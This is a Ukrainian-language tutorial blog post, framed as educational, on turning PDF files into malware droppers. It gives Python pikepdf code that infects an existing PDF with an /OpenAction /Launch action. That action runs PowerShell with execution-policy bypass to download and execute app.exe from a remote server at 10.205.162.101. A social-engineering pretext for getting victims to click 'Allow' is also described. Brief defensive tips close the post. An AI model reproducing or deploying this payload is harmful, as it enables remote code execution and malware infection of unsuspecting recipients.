Увага
Цей матеріал створено виключно в освітніх цілях та для підвищення обізнаності щодо інформаційної безпеки. Не використовуйте наведені методи для незаконних дій.
Чи часто ви, перед відкриттям чергового документа, який прийшов вам на пошту чи у будь-який месенджер, задаєтеся питанням - «А це точно не вірус?» Думаю, менше 5% скаже так.
Більшість користувачів вважають PDF-файли абсолютно безпечними - ніби це просто цифрова роздруківка тексту з картинками. Ми звикли обережно ставитися до .exe, .bat або макросів у .doc, але PDF зазвичай відкриваємо без зайвих роздумів.
Саме ця сліпа довіра робить PDF ідеальним вектором для соціальної інженерії. Це не класичний exploit вразливості, а зловживання легітимною можливістю специфікації.
1. Анатомія PDF
PDF (Portable Document Format) - це надзвичайно складний формат. Всередині це не просто текст, а набір об'єктів та «словників», які описують усе: від шрифтів до інтерактивних форм. У структурі є об'єкти типу Action, серед яких є /Launch. Він дозволяє виконувати такі дії як: перехід на іншу сторінку, відтворення звуку, виконання JavaScript, а також... запуск зовнішніх програм.
За це відповідає дія типу /Launch.
2. Чому браузери безпечніші за Adobe Acrobat?
Коли ви відкриваєте PDF-файл у Google Chrome, Edge чи Firefox, файл обробляється у ізольованій пісочниці. Вбудовані браузерні рідери максимально урізані - вони ігнорують складні Actions і просто рендерять візуал.
В нас такого багато!
ПерейтиАле повноцінні десктопні програми, такі як Adobe Acrobat або Foxit Reader, створювалися для максимальної функціональності у корпоративному середовищі. Вони вміють читати і виконувати ці команди. Сучасні версії, звісно, покажуть попередження, але за допомогою хитрої соціальної інженерії (наприклад, напису в самому PDF: «Для розшифровки документа натисніть 'Дозволити'») жертва часто сама дає зелене світло на виконання.
3. Як це працює на практиці (Python + pikepdf)
Щоб змусити PDF виконати команду відразу при відкритті документа, хакери використовують параметр /OpenAction, до якого прив'язують об'єкт /Launch.
Ми відкриваємо існуючий файл (out.pdf). Параметр allow_overwriting_input=True дозволяє бібліотеці перезаписати цей самий файл при збереженні. Хакери використовують це, щоб не створювати нових файлів, а просто заразити легітимний документ:
pythonwith pikepdf.open("out.pdf", allow_overwriting_input=True) as pdf:Створення об'єкта дії: PDF-формат складається з об'єктів та словників. Тут ми створюємо новий словник, який описуватиме, що саме має зробити PDF-рідер:
python action = pikepdf.Dictionary(Вказуєм рідеру, що цей словник - це інтерактивна дія. Також вказуєм параметр, який відповідає за відкриття зовнішнього додатку або відкриває файл.
pythonType=pikepdf.Name.Action,
S=pikepdf.Name.Launch,Експлойти часто таргетують конкретні операційні системи. Словник Win містить параметри запуску виключно для ОС Windows. Якщо цей файл відкриють на Mac чи Linux, цей блок буде проігноровано:
pythonWin=pikepdf.Dictionary(Пишем абсолютний шлях до виконуваного файлу:
python F=r"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",Не менш головна частина — передача аргументів, які передаються в PowerShell. Це і є наш payload:
pythonP=r'-NoP -Ep Bypass -C "iwr http://10.205.162.101:8000/app.exe -OutF $env:APPDATA\app.exe; Start $env:APPDATA\app.exe"',- -NoP (NoProfile): Не завантажувати профіль користувача. Це пришвидшує виконання і ховає сліди від локальних налаштувань.
- -Ep Bypass (ExecutionPolicy Bypass): Ігнорує вбудовану заборону Windows на виконання непідписаних скриптів.
- -C (Command): Виконує наступний рядок.
- iwr ... -OutF ...: Команда Invoke-WebRequest завантажує основний вірус (наприклад, app.exe) з сервера хакера (10.205.162.101) і ховає його в системну папку AppData (куди звичайні користувачі не заглядають).
- Start ...: Одразу запускає завантажений вірус.
Берем нашу створену дію і перетворюємо її на непрямий об'єкт, записуючи в корінь документа (Root) під ключем OpenAction. Це означає, що дія спрацює автоматично в момент відкриття документа, навіть якщо користувач нікуди не клікав:
pythonpdf.Root.OpenAction = pdf.make_indirect(action)Зберігаєм модифікований файл:
pythonpdf.save("out.pdf", fix_metadata_version=False)Якщо погратися з оформленням, то може вийти величенький код:

Як захиститися?
Дисциплінований підхід до інформаційної безпеки вимагає наступних кроків:
- Використовуйте браузери. Для перегляду скачаних резюме, прайсів чи рахунків відкривайте їх у Chrome або Edge — їхня пісочниця блокує виконання
/Launch. - Налаштування рідерів. Якщо ви використовуєте Adobe Acrobat, зайдіть у Preferences -> Trust Manager і зніміть галочку з «Allow opening of non-PDF file attachments with external applications».
- Уважність. Ніколи не натискайте «Дозволити» чи «ОК», якщо PDF-файл несподівано просить доступ до командного рядка чи сторонніх програм.




